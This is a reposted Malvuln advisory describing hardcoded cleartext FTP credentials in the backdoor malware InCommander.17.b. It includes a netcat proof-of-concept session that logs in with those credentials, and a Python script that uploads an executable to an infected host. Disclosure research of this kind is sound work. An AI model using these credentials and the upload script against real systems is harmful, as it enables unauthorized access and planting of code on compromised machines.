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Backdoor.Win32.InCommander.17.b / Hardcoded Cleartext Credentials

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022120034

Below is a copy:

Backdoor.Win32.InCommander.17.b / Hardcoded Cleartext Credentials
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/dd76d8a5874bf8bf05279e35c68449ca.txt
Contact: [email protected]
Media: twitter.com/malvuln
Backup media: infosec.exchange/@malvuln

Threat: Backdoor.Win32.InCommander.17.b
Vulnerability: Hardcoded Cleartext Credentials
Family: InCommander
Type: PE32
MD5: dd76d8a5874bf8bf05279e35c68449ca
Vuln ID: MVID-2022-0665
Dropped files: incsrv.exe
Disclosure: 12/14/2022
Description: The malware listens on TCP port 9400 and 9401 and requires authentication. However, the username "IncUser-b3" is stored in cleartext in a file named "incsrv.drv" under Windows dir. The password "InClientMainPassword" is also stored in cleartext but within the PE file "incsrv.exe" at offset 000958d0.

Third-party adversaries may then upload thier own executables using ftp PASV, STOR commands.

Exploit/PoC:
C:\>nc64.exe 192.168.18.125 9401
220 InCommad FTP Server ready.
USER IncUser-b3
331 Password required for IncUser-b3.
PASS InClientMainPassword
230 User IncUser-b3 logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
227 Entering Passive Mode (192,168,18,125,241,155).
CDUP \
250 CWD command successful. "C:/" is current directory.
STOR DOOM_SM.exe
150 Opening data connection for DOOM_SM.exe.
226 File received ok

from socket import *

MALWARE_HOST="192.168.18.125"
PORT=61851
DOOM="DOOM_SM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()

    s.close()

    print("By Malvuln");

if __name__=="__main__":
    doit()


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